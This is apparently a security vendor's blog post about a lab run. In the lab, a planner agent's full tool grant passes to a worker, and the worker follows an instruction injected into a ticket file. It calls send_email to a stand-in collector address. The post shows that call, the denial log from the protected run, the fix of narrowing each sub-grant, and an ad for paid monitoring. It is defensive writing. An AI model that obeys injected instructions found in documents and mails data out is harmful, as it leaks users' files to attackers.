The breach happened one hop down
The planner never mailed anyone. It asked for two tools, was handed its parent’s entire grant, and passed all of it to a worker. The worker mailed the attacker — and the log recorded the planner’s name.
If you investigated this from the audit trail alone, you would spend your afternoon reading the planner’s prompts looking for an address that was never in them.
What delegation usually looks like
A planner agent breaks a job into pieces and hands them to workers. It’s the standard shape for anything non-trivial, and it’s why “multi-agent” is in every architecture diagram drawn this year.
In this lab the planner asks, explicitly, for a narrow slice:
delegate(worker, tools=[read_file, list_dir])
That is correct. The planner wanted the worker to read a ticket, nothing more. What the worker actually received was the planner’s whole grant — including send_email, which the planner held for its own reasons and never intended to pass on.
The ticket the worker reads contains an injected instruction. And the worker now has an email tool it was never supposed to have.
send_email(to='archive@collector.invalid',
body='ticket.md copy for intake')
Nothing was compromised at the top level. The planner behaved correctly, asked for the right thing, and was ignored by the layer underneath it.
What happened
Same caveat as the other two: stub/document-follower is a scripted agent, so 10/10 describes the harness rather than any commercial model. The protected column is the result.
The part that makes this expensive
The breach is bad. The attribution is worse.
In the control arm, the call is made with the planner’s authority, so that is the identity attached to it. Your incident review starts from a log line naming an agent whose prompts, context and instructions contain nothing resembling the attacker’s address — because they don’t. The address entered through a ticket read by a different agent, one hop down, which your trail does not distinguish.
The protected arm records what actually happened:
tool send_email
reason tool 'send_email' is not in the signed grant
ledger 0b2ec1e4a5c66cab
identity planner/worker
That identity — planner/worker rather than planner — is the whole difference between a ten-minute investigation and a lost afternoon. The chain is in the record, so you can see which link failed.
What actually stops it
One rule, enforced at the delegation boundary: a sub-grant can only ever be narrower than its parent.
Not equal by default, not “whatever the parent passes”, and never broader. The worker asked for read_file and list_dir; the worker gets read_file and list_dir. When the injected instruction tells it to send mail, it has no email tool to use, and the denial names the worker.
This is attenuation, and it is an old idea — it is how capability security has always worked. The reason it keeps getting lost in agent frameworks is that passing the parent’s context wholesale is the convenient default, and the surplus authority is invisible until something uses it.
Why this gets worse as you grow
Two agents, one hop: you can reason about it. Six agents delegating to each other across a workflow: the authority surface is a graph, and nobody has drawn it. Each hop that passes the full grant means the deepest worker — typically the one handling the least-trusted input — is running with the broadest permissions in the system. The hierarchy inverts, quietly, as you scale.
What this costs if you get it wrong
Any multi-agent workflow where one agent handles untrusted content and any agent anywhere in the chain holds an outbound tool. The exposure isn’t the agent you reviewed; it’s the one you didn’t know inherited something.
And because the trail names the wrong identity, detection time goes up exactly when it matters most. You will find this eventually. The question is whether that’s the same week.
Agents drift, and nobody gets told
Monthly review of agent activity and policy drift, alerts when a denial pattern changes, and a re-run of these labs against your own configuration. A written report, month to month, no contract.
Ongoing Monitoring — from $750/monthCheckable claims
- Control 10/10, protected 0/10, duration 1.46s — runner JSON,
lab-03-delegation-drift - Ledger
0b2ec1e4a5c66cab, identityplanner/worker— runner JSON - The planner requested
[read_file, list_dir]— the lab’s delegate call - The injection lives in
ticket.md, read by the worker — the lab directory - The agent is
stub/document-follower, not a commercial model — themodelfield
The suite is public. Run it yourself.